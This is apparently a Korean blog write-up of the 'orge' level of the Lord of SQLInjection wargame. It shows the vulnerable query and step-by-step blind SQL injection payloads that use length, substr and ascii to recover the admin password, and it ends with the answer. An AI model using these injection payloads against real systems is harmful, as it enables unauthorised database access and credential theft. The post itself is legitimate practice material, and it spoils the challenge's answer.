Notice
Recent Posts
Recent Comments
Link
«   2025/04   »
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30
Tags
more
Archives
Today
Total
관리 메뉴

orge 본문

워게임 문제풀이/Lord of SQLInjection

orge

mi,, 2022. 9. 5. 01:07

 $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"; 

if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 

 

소스코드를 보니 id가 ‘admin’pw의 값을야 해당 문제를 통과할 수 있다. 

 

 참인 값인 ?pw=’||1=1%23을 입력했을 때, Hello guest 라는 문구가 뜨는 것을 확인할 수 있다. 

 

 

 거짓 값인 ?pw=’||1=2%23을 입력했을 때는 아무 문구도 안 뜨는 것을 확인할 수 있다. 

참과 거짓일 때 나오는 결과 다르다는 점을 이용하여 블라인드 인젝션을 통해 pw아낸다. 

 

 

[풀이 과정]

 

 

 

 

pw의 길이를 알기 위해 인자로 주어진 문자열의 길이를 구하는 length 함수를 이용한다.  

 

?pw=’||id=’admin’%26%26length(pw)>8%23 입력 -> 문구 출력X  

?pw=’||id=’admin’%26%26length(pw)=8%23 입력 -> Hello admin문구 확인 

 

pw의 길이는 8이라는 것을 알 수 있다. 

 

 

substr 함수 - 정해진 문자를 특정 자릿수만큼 잘라내는 기능을 가진 함수이다. 예를 들어 substr(a,b,c)가 의미하는 바는 a문자열을 b부터 c개만큼 잘라낸다. 

ascii 함수 - 문자를 ascii코드로 변환한다. 이 점을 이용하여 >,<,= 연산을 할 수 있다. 

 

?pw=’||id=’admin’%26%26ascii(substr(pw,1,1))<  %23 숫자를 바꿔가며 Hello admin문구가 안 나올 때까지 반복한다. 

 

아스키코드

 

 

pw 첫 번째 문자의 아스키코드 값이 55보다 작다는 문구를 넣었을 때 처음으로 아무 문구도 출력되지 않았다. 

 

 

pw의 첫 번째 문자는 아스키코드 55인 7이다. 

반복하여 8글자를 다 찾아낸다. 

 

 

pw의 두 번째 문자는 아스키코드 98b이다.  

pw=7b 

 

 

pw 번째 문자는 아스키코드 557이다.  

pw=7b7 

 

 

pw 번째 문자는 아스키코드 535이다.  

pw=7b75 

 

 

pw의 다섯 번째 문자는 아스키코드 491이다.  

pw=7b751 

 

 

pw 번째 문자는 아스키코드 97a이다.  

pw=7b751a 

 

 

pw의 일곱 번째 문자는 아스키코드 101e이다.  

pw=7b751ae 

 

 

pw의 여덟 번째 문자는 아스키코드 99c이다.  

pw=7b751aec 

 

 

 

정답: ?pw=7b751aec 

'워게임 문제풀이 > Lord of SQLInjection' 카테고리의 다른 글

darkknight  (0) 2022.09.05
golem  (0) 2022.09.05
skeleton  (0) 2022.09.05
vampire  (0) 2022.09.05
troll  (0) 2022.09.05
Comments